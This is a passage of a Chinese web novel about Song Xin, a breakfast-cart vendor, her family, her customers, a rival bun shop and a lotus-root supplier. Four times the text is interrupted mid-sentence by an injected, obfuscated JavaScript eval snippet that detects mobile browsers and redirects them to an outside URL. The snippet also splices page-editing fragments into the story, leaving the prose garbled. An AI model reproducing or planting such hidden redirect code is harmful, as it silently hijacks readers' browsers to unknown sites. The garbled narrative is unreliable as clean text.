宋鑫买完红枣就想离开去看其他东西，又被冯老板店里的一些干菜吸引了。 越是来的勤，宋鑫越发现冯老板这里像是一个宝藏刷新点，总能看到一些不太常见的干货。 这次她就看到了之前没有的白菜干，还有少量的豆角干、土豆干和茄子干，后面三种数量很好，连白菜干的一半都没有。 宋鑫严重怀疑是自己来晚了，后三种在她们这边吃的人还挺多，炖菜里面放上一些，这个菜的档次和味道都会升级。 宋鑫最喜欢茄子干，不同于新鲜茄子，茄子干微微泡个水直接放进炖菜锅里，锅里的菜是什么味道，茄子干最后就是什么味道。 吸满了汤汁的茄子干，口感是干货独有的，就算只吃茄子干，宋鑫也可以吃两碗米饭。 宋鑫抓了把茄子干看看，就找冯老板要了袋子，等会儿买点排骨，晚上吃干菜炖排骨。 冯老板也知道宋鑫识货，没有多介绍，可是在宋鑫指着白菜干说她都要了的时候还是大感震惊。 “这么多都要了，要是炖菜吃泡一点就不少了。”冯老板忍不住提醒她，宋鑫笑笑：“我买了回去包包子，用的量多。” 既然不会被浪费，还能把这没什么人要的白菜干处理掉，冯老板当然愿意了。 宋鑫拎着大包小包的先出了菜市场，把东西放好才又回去，其他东西买一买，又快到晚上了，这个菜市场宋鑫就没有逛腻过。 即使经常来，每次还会有新鲜感。 到家之后宋鑫先把今晚要吃的干菜泡上，天冷就要用砂锅炖菜。 晚饭时间，一大锅干菜炖排骨，配上大米饭，吃的三人到最后一起躺在沙发上。 李云华突然一拍手：“老宋，你之前在健身房充的钱用完了没有？” 宋志明一脸疑惑：“没有啊，那不是夏天充的吗，后来太冷了咱俩都没去过，你怎么想起来问这个。” 宋鑫根本不知道这回事儿，看着两人一问一答。 “那不是最近伙食太好了，以前就算过年的时候胖了，寒假结束体重就回去了，可今年我的体重一直飙升，现在不仅没有回落，还在增加！” 宋志明听完笑出了声，作为枕边人，他也知道李云华最近的心事，每天早上起来先称体重，然后开始发愁， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623714|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早饭吃的更多。 宋鑫突然想到一件事情问她们：“你们充的是哪家健身房，先看看还在不在吧，现在的健身房和理发店一样，可容易跑路了。” 李云华和宋志明对视一眼，马上拿起手机开始搜索这家店，李云华嘴里还念叨着：“不会这么倒霉吧，我记得那家健身房挺大的，里面人也蛮多——” 看着两人脸上同样的表情，宋鑫就知道自己说准了，没等她发问，宋志明就语气沉重地说道：“确实倒闭了。” 宋鑫无话可说，只能说自家这两位心大，都大半年了，钱冲进去一点不问。 “欸，钱好像退回来了，你看是不是这家店退的钱？”李云华拿着手机给宋鑫和宋志明看，上面显示的时间是去年十月份。 “你就没有发现自己多了一笔钱吗？”看着上面退款到账2589，宋鑫无奈。 李云华看着那个交易记录，“都怪这个退款太隐蔽了，和我发工资的时间是一天，我还以为这笔钱是那个月的绩效。” 宋志明没有说话，当时李云华和他说了这个事情，他也以为是绩效，完全没有往健身房那边想过。 对此宋鑫表示，以后她们两个还是跟着小区里的爷爷奶奶一起跳跳广场舞，早晚散散步，不要想着健身房了，三天打鱼两天晒网，健身房倒闭了都不知道。 这次是健身房有良心，要不现在想要回这些钱还有的扯皮。 李云华则是在一边暗下决心，从明天开始每顿饭要少吃一点，同时增加锻炼！ * 起的太早，宋鑫一边泡白菜干一边犯困，天杀的包子店老板，要不是他自己根本不用早起做包子，一定要快点关门！ 莲藕和花生放进锅里炖上，面也活好等待发酵，宋鑫这才出发去菜市场。 今天早上还要买青菜做青菜包，另外还有胡萝卜，牛肉和猪肉。 没有在路上多耽误时间，宋鑫回到家里开始处理馅料，青菜单独调味，胡萝卜擦丝剁成末和牛肉末放在一起进行调味。 干白菜的水分挤干净，和猪肉末放在一起加入调料搅拌均匀。 糖三角用的是红糖，混入了熟芝麻粉和熟面粉。 这时候锅里的莲藕和花生已经煮到粉糯，花生是昨晚提前泡上的，莲藕在进锅之前宋鑫专门用刀拍了，这样煮的更快，汤也会更加浓稠。 这时候把剪开的红枣放进去，红枣的甜味可以被汤吸收，吃的时候红枣自身的口感也会保留一部分。 加红枣的时候藕香蔓延至整个厨房，一点点渗到外面，客厅里的味道也渐渐浓郁，楼上楼下还在睡梦中的人也渐渐闻到了这股香味，引诱人在这寒冷的冬天早早起床。 楼下的王意短短两天就习惯了上班的生活，还要多亏了宋鑫的早餐，早上不想起床的时候想一想美味早餐，略微挣扎一下也就起来了。 宋鑫先包了一部分包子带到餐车蒸上，之后就边卖边包。 莲藕花生红枣汤也好了，如果有爱吃甜的可以单独加白糖红糖，这次宋鑫还准备了一些片糖，加在汤里的风味和红糖又有一些区别。 今天的菜单还没有发出去，宋鑫下车拍照之前还专门往包子店的方向看了一眼。 34.牛肉胡萝卜包 牛肉胡萝卜包，干白菜肉包 青菜包，糖三角 茶叶蛋，水煮蛋 莲藕花生红枣汤 包子店老板也在门口，看到宋鑫餐车上的蒸笼以及挂牌上的字，本就不太好的脸色更加差劲，惹得本来经过他店门口想要买包子的人也走了。 恰好还来到了宋鑫这里。 包子店老板的脸更黑了，把手里的东西往桌子上一摔直接进了店里。 宋鑫收回视线，非常和气问这两位顾客要什么馅的包子。 这两人刚从医院下晚班，也不住在花园小区，不清楚之前发生的事情，走到宋鑫餐车前，还在说着：“那老板什么人啊，那态度开门也不知道是做生意还是赶客。” 宋鑫努力控制自己想要上扬的嘴角，给两个顾客拿了她们要的包子。 “你们喝不喝莲藕花生红枣汤哦，刚下夜班要好好补一补。”下夜班和早起上班给人的感觉是不一样的，上完夜班的人脸上明显的疲惫。 两人现在只想回去睡觉，可是这个汤听着就很好喝，最后还是打包了一份打回去一起喝，加了一块片糖。 两人走后包子店老板又出来，看向宋鑫的眼神极其不友善，宋鑫也毫不客气地瞪回去，等她再卖几天包子，他这个店还能不能开下去还不一定。 当然该做好的保护措施宋鑫一点没落下，她昨天知道事情之后直接去店里给自己的餐车装了几个摄像头，里里外外三百六十度没死角。 还把城管的执法记录回馈拍照保存，收集了包子店老板造谣自己的证据去了物业、居委会留证，并且声称再有下次就是去派出所备案了。 这些包子店老板应该也知道了，所以今天才没有直接过来继续挑衅。 宋鑫根本不理会包子店老板，她这边的人越来越多，一边包包子，一边打包还是很费工夫的。 她还惦记着上午摆摊结束之后要联系沈老板，下午送过来一些粉藕，莲藕花生红枣汤煮好之后她自己在家也喝了一碗。 味道非常好，莲藕入口轻轻一抿就化，本身就有碳水的甜味，早上出门之前喝上一碗，外面的冷空气都没有那么大的杀伤力了。 繁忙的早上宋鑫还看到了很多熟悉的面孔，不过今天太忙了，可能是包子方便带走也方便吃，也可能是很多顾客买了就在旁边吃起来，吸引来了很多顾客。 最后的结果就是包子店老板今天开门开了个寂寞，敞开的大门除了他自己再也没有第二个人进入。 本来可以有两个顾客，被他自己赶走了。 赵女士今天要送赵明明上学，赵先生今天没有时间送他。 又是生死时速赶在最后一刻把赵明明送进学校，赵女士松了一口气，今天本来没有那么赶，但是小区门口小宋老板那里不知道为什么人特别多。 但还在包子打包起来也快，赵女士给赵明明买了一个牛肉胡萝卜的，一个糖三角，外加一个茶叶蛋。 给自己四个口味各买了一个，还有两碗莲藕花生红枣汤，自己一碗，赵先生一碗，赵先生的那一碗可以先放冰箱里，等他回来加热一下就可以喝。 天冷，上班又辛苦，喝点汤汤水水滋补一下。 赵明明已经上小学半年了，母子俩都知道学校的规矩，赵女士在路上对赵明明千叮咛万嘱咐。 “你到了学校吃包子的时候偷偷的，千万不要被老师发现了！” “小宋姐姐的餐车前面那么多人，妈妈还挤过去给你买好吃的包子，要是不吃这个包子，吃点其他不用排队等待的，你也不用带到学校里去吃。” “可是妈妈不舍得我们小宝吃不到最好吃的包子，所以这次给你带过去了，你吃的时候一定要注意，要是被发现了，就没有下次了！” “但是如果包子凉了就不要再吃了，你下午放学带回家，晚上给你热一热还能吃。” 为了保险起见，赵女士还给赵明明在旁边小超市买了饼干和面包，就怕赵明明吃凉包子。 赵女士的歪理邪说很有一套，把一年级的小朋友哄得认为妈妈是世界上最好的妈妈。 可是，赵女士，你过去排队难道不是因为有一次送完赵明明早餐就卖完了，自己也没有好吃的早餐了，给赵明明买才是顺便的吧。 还有，为什么时间这么着急，半个小时前被赵明明催着起床的你还不知道吗。 对此赵女士毫不在意，这都是小事，孩子还小，还可以忽悠几年~ 走进教室的赵明明好像做贼，小心翼翼捂着自己两边的衣服口袋，左边口袋是一个牛肉胡萝卜包和一个拨掉皮的茶叶蛋，右边口袋则是一个糖三角。 现在还可以感受到食物透出来的热气，赵女士很贴心的给他放在了里面衣服的口袋里。 看到赵明明鬼鬼祟祟坐下，小星星还不知道有“偷感”这个词，但已经很会形容了，“明明你是想要去偷东西吗？” 一句话把前桌也炸的回过头好奇地看着赵明明，赵明明连忙趴在小星星耳边解释，妈妈说不能被别人发现，但是小星星不是别人，是他的好朋友，可以说！ “没有啦，是我妈妈给我买的早饭，但我来不及吃就带过来了，现在就在我口袋里面。”说完还让小星星摸自己被包子捂热的衣服。 小星星摸了摸赵明明的口袋：“真的好烫，那你快吃，我帮你看着老师。” 赵明明连忙把书包放下，辛苦地拿出包子，整个人还往下缩了缩，仿佛这样老师就看不到自己在吃东西了。 小星星很好的承担了赵明明早饭保镖的职责，在赵明明把茶叶蛋和胡萝卜牛肉包吃完，正准备向糖三角下嘴的时候，赶紧提醒他老师来了。 也就是小星星年纪小视力好，赵明明把嘴巴和手擦干净老师才进门。 早读连着第一节课结束，赵明明才放下心，他自己吃的闻不到香味，可是老师一进门就闻到了浓郁的肉香，那个味道勾的早起只吃了一个干巴巴面包的老师需要反复提醒自己集中注意力好好上课。 老师也想知道是谁吃的，倒不是想要抓住在教室吃早餐的小朋友，而是想要问问这个早餐是在哪里买的，太香了，只是闻到的味道就知道是好牛肉。 最后老师也没好意思找出学生问一问。 赵明明看到老师走了，悄悄把糖三角拿了出来，经过挤压，糖三角里面的馅料有一部分已经漏到了袋子里面。 不过没关系，赵明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627147|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明感受了一下温度，糖三角还是温温热的，可以吃，至于漏出来的红糖芝麻，掰下来包子的一角蘸一蘸就好了，他赵明明从不浪费！ 大方的赵明明还分享了糖三角的一个角给小星星，他倒是想给更多，可是小星星吃过早饭吃不下了。 “小星星吃不下我吃的下啊。”前桌回过头盯着赵明明，目光中全是对糖三角的渴望。 想起上次就没有分给她，赵明明还是掰下了一个角给了她，还多蘸了红糖。 前桌吃的一脸满足，从赵明明早读的时候吃包子她就闻到了香味，可是那是赵明明的早餐，赵明明的悄悄话她听的一清二楚。 可能只有赵明明和小星星一个说的一个听的以为自己在说悄悄话吧，不是趴在耳朵上的就是悄悄话啊！ 她觉得这个糖三角真的好好吃，可还是没有赵明明吃的胡萝卜牛肉包香，她最讨厌吃胡萝卜了，可是今天早上闻到胡萝卜的味道只觉得好香好想吃。 吃完这个她要问问赵明明是在哪里买的，明天她也要让爸爸去这里给她买早餐，王小月把这件事列到了计划本上面。 赵明明和小星星又趴在一起了。 “我早上吃的也是这个包子，味道是一样的。”吃完包子的小星星很惊喜。 “真的吗，我们都是吃的小宋姐姐做的包子啊，果然我们是好朋友，吃的东西都一样。” 赵明明又接着问道：“那你觉得哪个好吃啊。” “我觉得最好吃的是糖三角。” “糖三角！” 两人异口同声地说了出来。 小孩子爱吃糖地本性已经显现，尤其是在家里严格控制的情况下，能在正经饭菜中吃到这么甜的东西绝对是一个大惊喜。 宋鑫调的糖馅儿里面熟面粉居多，吃起来也不是特别甜，小孩吃着家长也放心。 “但是牛肉胡萝卜的也好吃欸。”赵明明开始纠结，虽然他更喜欢吃甜的糖三角，可是想一想牛肉胡萝卜的味道也不差。 小星星也点头赞同，两个小孩陷入了艰难的选择，开始发愁。 赵明明在教室吃包子的时候，赵女士送完孩子就想着赶紧回家吃饭睡个回笼觉，没想到被上周问她宋鑫餐车位置的那个家长拦住了。 阳阳妈妈对着赵女士一通感谢。 阳阳不爱吃饭的问题让一家人都跟着担心，但是从花园小区东门买到的食物，阳阳一点都不挑，只看她今天早上吃早饭的情况，完全想象不出一周前早饭吃一个鸡蛋都费劲的模样。 今天早上阳阳妈妈本来只想让阳阳吃糖三角来着，阳阳以前不吃胡萝卜，不吃白菜，也不吃青菜，更不爱吃肉包子，只有小孩子都爱的酸甜口的东西可以多吃两口。 结果阳阳看到爸爸妈妈都在吃牛肉胡萝卜的包子，主动开口要吃。 吃了之后也没有吐出来，吃完了一整个牛肉胡萝卜大包子。 吃完这个之后，还吃了一个茶叶蛋，又喝了一小碗莲藕花生红枣汤，阳阳妈妈都看的心惊胆战，以前是愁孩子不吃，现在是怕孩子吃太多。 但是想想阳阳在家吃晚饭的时候，还是之前那个模样，阳阳妈妈就知道阳阳只是愿意吃餐车的东西。 35.粉皮辣鱼 也不知道老板有没有开饭店的打算，这样她可以一天三顿带着阳阳在那里吃饭。 不怪阳阳只愿意吃这个，她一个大人都觉得很馋，早上硬生生吃完三个大包子，外加一大碗莲藕汤。 阳阳妈妈和赵女士说这话又遇到了小星星爸爸，三个家长在一起话题越来越歪，最后为了哪个口味的包子最好吃辩论起来。 可怜赵女士包子还没有吃到嘴里，听着两位家长说的话越来越饿，最后找了个借口飞速回家吃早餐了。 路过宋鑫的摊位，果然已经到了收尾阶段，包子和汤的数量变得很少，牛肉胡萝卜包和糖三角已经卖完了。 赵女士在心里为自己的机智鼓掌。 宋鑫把最后一个水煮鸡蛋卖出去，没有马上回家，坐在餐车里好好休息了一会儿，才给沈老板打电话预定了今天在内连续三天的粉藕。 接下来这几天的汤都以莲藕为主，好不容易在家里也有这么好吃的粉藕，当然要多多支持，并且把好吃的东西分享给自己的顾客。 那边得到订单的沈老板也很开心，这年头一次性的买卖常见，可这样连续的订单谁都喜欢，沈老板问了宋鑫餐车的地点，决定明天早上也要来照顾一下宋鑫的生意。 宋鑫第一次收摊回家觉得松了一口气，换好睡衣躺在床上恢复体力。 她今天使出的这一招完全是伤敌一千自损四百，少损的那四百是金钱。 为了让包子店老板毫无还手之力，她今天准备的包子量很多，就怕顾客在自己这里买不到跑去包子店买。 汤也是之前的两倍，她还想着要是卖不完就给爷爷奶奶姥姥姥爷都送去一点，还能给宋志明李云华李谈宋薏送午饭。 结果现在汤桶比她的脸都干净，最后一点锅底都被人买走了，宋鑫没好意思收全款，还给人打了五折。 有了今天的经验，宋鑫明天要再早起一点，多包一点包子蒸上。 周四的早晨宋鑫果然起的很早，先去拿昨天下午去订的豆腐，再去菜市场买肉。 今天炖的是莲藕筒骨汤，沈老板送来的藕一点也不敷衍，都是好品质的藕，摆摊的时候有顾客问起这个粉藕，宋鑫就会把沈老板卖莲藕的位置告诉她们。 把今天的菜单写好： 洋葱牛肉包，酱肉包 豆腐包，豆沙包 茶叶蛋，水煮蛋 莲藕筒骨汤 今天宋鑫准备的就很充分，早起了一个小时，售卖过程也比昨天轻松了。 “您要什么馅的包子？沈老板你怎么过来了！”宋鑫看到了排到面前的沈老板。 她还以为昨天和沈老板说的就是一句玩笑话，没想到沈老板这么大老远跑来买早餐。 沈老板看到宋鑫的生意这么火，也不过多寒暄，一边点单一边见缝插针说几句话。 “每个味道的包子各来五个，加五个茶叶蛋，再来六碗莲藕筒骨汤，都打包。” 宋鑫打包的时候听到沈老板的话，“那不是听说你的早餐好吃，我也想尝一尝嘛。” 打包完沈老板准备离开，宋鑫突然想起今天也有好多人问莲藕是在哪里买的，干脆暂停手里的打包工作，和大家介绍了沈老板，以及她家好吃的莲藕。 沈老板排队的时候就后悔了，自己什么也不清楚就来照顾人家生意，看看这个长队哪用得着自己来照顾。 她有点想退出队伍，可是前后聊天说起昨天包子的美味又让她舍不得走。 描述的也太好吃了，什么晚上都睡不着觉就想着这一口，昨天拿着包子去单位从刚开始吃到吃完，整个办公室的人都问了一遍是哪个早餐店。 还有一个说着自己九点上班，现在起床就是为了来买早餐。 听的沈老板觉得宋鑫卖的不是早餐，而是迷魂药，也勾起了她的好奇心，到底有多好吃。 队伍向前移动，沈老板看到小桌子那里正在吃的人掰开一个包子，那是一个酱肉包，肉汁随着掰开的动作流到了外面的包子皮上，空气中也传来酱肉包的味道。 沈老板觉得自己还没有吃，就已经被这个迷魂药迷倒了。 拎着沉甸甸的包子准备离开的时候，就被宋鑫的话惊到了，这可是帮自己打广告，她人真好！ 沈老板暗暗决定今天下午送来的莲藕自己再挑一遍，确保每一个都是完美的藕！ 还没等她再胡思乱想，就被买好早餐的人群围住了，广大人民群众对于美味食材的追求是热烈的，看着一个个要加自己联系方式的人。 沈老板直接面对面建了一个群，“大家可以在群里下订单，加在一起订的多我可以直接送到小区，要是数量少我会提前留出来，就是需要你们自己过去我卖藕的地方拿。” 大家表示理解，没有强求沈老板送上门，要的量少还让人家送上门，搞得人家挣的钱还不够来回油钱。 餐车顾客们纷纷表示，自己这些人能大早上的排队，就是好这一口好吃的，喜欢美食的人对好吃的都很宽容，大家很明事理。 沈老板再次松一口气，更觉得宋鑫是自己的福星，下午送莲藕的时候再给宋鑫带一些自己家晒得干莲子！ 要知道她也做一些饭店的生意，有的小饭店老板还不如这些顾客呢，不管要多少都必须送上门，这就算了，还要定时，早一会儿晚一会儿都不行。 送到了还要再挑拣一番，说她家的莲藕这里不好那里不好，从头批评到尾，也不说不要，就是要压价。 后来再遇到这种人，沈老板就及时止损，不做这类人的生意。 沈老板走后，宋鑫还听到有人在拉人进群。 这时一个顾客看了看挂牌上的菜单：“今天没有干白菜肉包吗？” 宋鑫摇头：“干白菜数量有限，昨天全用完了，不过酱肉包也很好吃。” 她没有想到还有人专门来问干白菜肉包，干白菜肉包虽然好吃，但是她们这边很少吃白菜干，昨天刚一开始买的人也不多。 还是到后来，其他口味的包子卖的差不多了，只有干白菜肉包剩的最多，大多数顾客出于对宋鑫的信任才买的。 好多人还是第一次吃白菜干，以为会很一般，结果吃了才知道味道这么惊艳，和白菜肉包是完全不一样的口感和味道。 越吃越想吃，这个顾客就是，昨天就卖了一个没吃够，今天来的时候就想好了一定要多买几个，真的太好吃了！ 结果终于排到他了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635560|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一个晴天霹雳，干白菜肉包竟然还是限定款。 心如死灰地选了酱肉包和豆腐包，他是在这里吃，没有打包，宋鑫偶尔看过去，发现他吃的也是一脸满足才放下心。 却不知道这个顾客每吃一口包子就要在心里哀悼一下自己的白月光干白菜肉包。 后面竟然还有好几个人也问宋鑫还有没有干白菜肉包。 宋鑫没有想到这个只出现了一次的包子还挺有人气的，不过这个包子的口感确实特殊，喜欢的人应该很喜欢。 收摊回到家里，今天有了准备的宋鑫就没有昨天累，还有精力去家附近的菜市场转悠。 最后买了一条鲤鱼和两张粉皮回家了。 鲤鱼让老板处理好切成了段，干粉皮用温水泡软。 宋鑫正准备开火炒的时候电话响了，是小区物业的电话，宋鑫有些疑惑的接通。 “您好，是宋鑫宋老板吗？” 宋鑫听到宋老板就猜到了是什么事情，看来才艺大比拼的早餐供应归她了。 “我是。” “咱们小区接下来的才艺大比拼餐点供应经过投票选中了您这边，具体的事情还要找个时间再详谈，我这边先和您简单说一下可以吗？” 宋鑫同意之后，工作人员接着说道：“才艺大比拼餐点需要供应的时间分别是3.15、3.16，3.22、3.23，3.29、3.30三个周末，需要供应早餐、午餐和下午的一顿加餐，承包款会先付一半到您的账户。” 宋鑫以为自己幻听了，下意识重复了一遍：“早餐、午餐和加餐？” “是的，这次所有的餐点供应都可以承包给您这边！” 对面的语气格外坚定，宋鑫不解，按照她知道的消息，早午餐不是分开的吗，难道是这两年才有的改革，这就说的过去了。 怪不得包子店老板对她的敌意那么大呢，原来利益比她想的要大啊。 宋鑫表示要考虑一下，之前以为只有早餐肯定忙的过来，现在又加上两顿饭，时间还多了两天，往年的才艺大比拼都是两周四天，今年变成了三周六天。 这样就意味着她只要答应下来，连着三个星期没有一天休息的时间。 人手也是个大问题，再加两顿饭，她得有六只手才忙得过来。 工作人员也理解宋鑫的顾虑，虽然投票的时候没有考虑那么多，可是投票结果出来之后反对人员就提出了这个问题。 她们也是又讨论了一天，才决定按照投票结果先询问宋鑫，如果宋鑫可以承担下来最好，如果不行就把早餐单独包给她。 想着这个事情，宋鑫差一点把锅里的调料炒糊。 赶紧把注意力拉回来，先吃饭吧，吃完再慢慢考虑。 神思不属的宋鑫往锅里加多了辣椒，反应过来干辣椒都和鱼肉混在一起了，宋鑫只能接着往下做，加入泡好的粉皮。 又煮了十几分钟，盛出来之后淋上一点芝麻油。 粉皮辣鱼就做好了，这可真是货真价实的辣鱼了，宋鑫看着盘子里多多的辣椒想着。 这道菜还要放鸡汤，家里暂时没有鸡汤，宋鑫直接改成了清水，尝了一口改良版粉皮辣鱼，也很好吃。 36.糖火烧 但是真的好辣，宋鑫买的干辣椒是特辣的那种，买的时候摊主还叮嘱她吃的时候一定要注意，少放一点，这个辣椒很辣。 宋鑫也记在心里了，可是刚刚一晃神就加多了。 即便这么辣，也不影响这道菜的美味，鲤鱼是现杀的，从水池到餐桌不超过俩小时，没有多余的步骤，直接炖煮突出了鲤鱼的鲜美。 尤其是这个辣味，一个意外让鱼肉的鲜嫩更加突出。 宋鑫吃的满头大汗，还是一口接一口停不下来，这么辣的菜吃的时候不能停，停下来就会感觉特别辣！ 吃完没多久，宋鑫就接到沈老板的电话，莲藕已经送来了。 宋鑫拿莲藕的时候，看到沈老板车子上还有一袋袋分装好的莲藕，再看沈老板还在看着手机发消息。 “这些是你的，还有这袋子莲子，没有去芯，是我们去年自己晒得，给你送点，煲个汤煮个糖水什么的都不错，还清热祛火，别嫌弃啊。” 沈老板把话都说完了，宋鑫只能接下莲子，不愧是沈老板自留款，这个莲子看上去很好，煮粥煲汤都可以。 等宋鑫把自己的莲藕拿走，沈老板还和她说：“多亏了你帮我宣传，我今天得多卖出去一百多斤的莲藕。” “哪是我的功劳，还是你的莲藕质量好才能卖出去啊，要是品质不好也没人来买是不是。” 莲藕拿回家，宋鑫边收拾莲藕边考虑供餐的事情，一会儿觉得可以答应下来，找个临时工也行，一会儿又觉得不能答应，饭要一口一口的吃，路也要一步一步走，而且合适的临时工哪是那么容易找的。 莲藕收拾好她回到客厅，躺在沙发上纠结着睡着了。 醒来之后宋鑫因为睡着这件事更生气了！ 事情还没想好在，怎么可以睡觉，还睡了一下午，睁眼看窗外，天都黑了！ 越想越生气的宋鑫没有注意到宋志明和李云华都回来了，宋志明手里还拎着买回来的糖火烧。 宋鑫本就睡饿了，每天的高强度劳动让她的食量大增，可体重是一点没有增长，还有些下降。 吃着美味的糖火烧，一家三口先凑在一起商量了晚上吃什么，三人都不想出门，最后以外卖解决了这个问题。 宋志明和李云华一个点了麻辣烫，一个点了米线，宋鑫则是点了一大份炸鸡，健康的吃多了，总想吃点不那么健康的。 她中午吃过饭就在群里和宋志明李云华说了供应餐点的事情。 在等外卖的时间里，三人一边吃糖火烧一边就宋鑫犹豫的点一一分析。 最后李云华指着自己和宋志明：“六天都是周末，你看我和你爸怎么样，你其实就是少一个帮忙处理食材的人嘛，我俩虽然不是专业的，但是加起来总可以给你帮上忙吧。” 宋鑫还有些犹豫，这个方法也不是不行，甚至还是当下最好的一个提议了。 因为宋志明和李云华还有健康证！ 她俩还对给宋鑫打下手很有经验，可以说是帮工的不二人选。 但问题就出在这个但是上面，她俩周一到周五还要上班，周末再去给宋鑫帮忙，相当于大半个月都没有休息时间。 宋鑫一说这件事，李云华先反驳了。 “哪有那么多事情，我们单位虽然现在还在忙，但也就这几天了，三月份开始就没有那么忙了，你爸那里也是这样。” “再说了忙也不会忙一整天，给你帮忙说什么累，是不是啊老宋。” 宋志明连忙表态：“是这样的，再说你就是找临时工也不一定能跟你配合好，还是让我和你妈这两个熟练工来吧。” “那行，干完我给你们开工资！”宋鑫开心答应下来。 宋志明摇头：“不要你的钱，一家人说什么两家话，等这个活动结束之后，你给我和你妈做点新鲜菜色，要大菜。” 工资能有多少，宋鑫平时虽然也在家里做菜，可大部分都不是费时费力的大菜，偏偏她手艺又好，平白无故的宋志明也不好让宋鑫多劳累。 这次总算找着一个机会吃大餐了。 “这个好，等小区这个才艺大比拼结束了，找个你休息的时间，咱们在家吃顿大餐！”李云华也赞同，还补充道：“就当庆功宴。” 宋鑫明白俩人的意思了，只要有大餐，这都不是事儿，明白了。 她做了个保证的手势，“大餐会有的，放心吧。” 这个事情就这样说好了，现在时间有点晚了，工作人员应该下班了，宋鑫决定明天上午摆摊结束再回复她。 现在可以专心的吃糖火烧了，宋鑫刚刚无意识地吃完一个，可因为在想事情，完全没有细细品尝糖火烧的美味。 “这个糖火烧味道真不错，还是那家店买的啊，今天这个点竟然还能买到糖火烧！”宋鑫说的店是一家无名火烧店，不是店铺名字叫无名，而是这家店根本没有招牌，又主卖火烧，老顾客就喊这家店为无名火烧店。 这家火烧店里的招牌火烧就是糖火烧。 宋鑫又拿了一个糖火烧，轻轻掰开，火烧层次分明，每一层都是满满的麻酱红糖芝麻馅。 “哪是现在买的啊，我中午吃完饭去排队买的，那家店这个店早就卖完关门了。”宋志明说的时候手也没有停，又去拿了一个糖火烧。 这个糖火烧她们一家三口都爱吃，不是很甜，吃的时候需要用手小心翼翼地接着，因为糖火烧过于酥软，会掉渣。 明明外壳酥脆，可是里面神奇的湿润，不干噎，麻酱的味道也很足，可以吃出来用的是很好的芝麻酱，还能吃出一点芝麻油的味道。 好吃到宋鑫每次吃完一个糖火烧，手里的渣子不会扔掉，而是凑在一起送进嘴里，这些渣才是糖火烧的精髓，只有酥脆的外壳才会掉渣好吗。 周五的早上宋鑫很满足的吃掉四个糖火烧，储存好热量元气满满去摆摊。 “咔嚓——”一声拍照，把菜单发群里，这已经是宋鑫每天必做的事情了。 白菜牛肉包、三丁肉包 豆芽包、枣泥玫瑰包 茶叶蛋、水煮蛋 莲藕雪梨汤 今天的包子宋鑫最喜欢的三丁肉包和枣泥玫瑰包，这次的枣泥是她买的枣泥馅，买回来之后往里重新加玫瑰花瓣调了下风味。 三丁肉包里面的肉是鸡腿和猪肉，还加了冬笋、香菇和木耳，宋鑫特别喜欢，可是吃完糖火烧的她吃不下包子了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640069|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 机智如她怎么会被这种事情难倒，现在吃不下摆摊结束就可以吃下了，她直接在第一批蒸好的包子里留了几个在冰箱。 还有给宋志明李云华留的。 宋鑫可不敢留在餐车上，没被发现还好，要是被顾客发现肯定会被买走！ 问就是昨天的惨痛经历，本来想给自己留两个酱肉包结果被顾客发现，想起顾客那个不可置信的眼神，宋鑫今天想想还是把包子留在家里。 又是一个忙碌的早晨，宋鑫繁忙之中好像看到了郑姨，但是因为人太多，宋鑫这几天下来也忙的头昏脑胀，还是郑姨走了之后才发现是她。 不过，郑姨买那么多包子吃的完吗？ 看着郑姨的背影以及她两只手里拎着的早饭，要不是知道郑姨是李云华的老同事，宋鑫都要怀疑自己这里是不是早餐批发点。 郑姨不知道自己被发现了，她认为宋鑫生意这么忙，她们也很久没见过了，应该认不出来她。 没有想到还是被宋鑫认出来了。 现在的郑姨还不知道自己被认出来，拿着包子和莲藕雪梨汤回到车里，一路开往单位，她买这么多也算是代购了。 她和几个小姑娘一起轮班来买早餐。 这样一周只用早起一次，但是每天都能吃上美味早餐。 这个计划一开始没有郑姨，还是她自己发现连着两天每天早上办公室里都充满诱人的味道，尤其是有的人还没有吃完，那个诱惑呀。 郑姨强烈谴责了她们孤立自己的行为，紧接着就申请加入她们，今天就轮到她了。 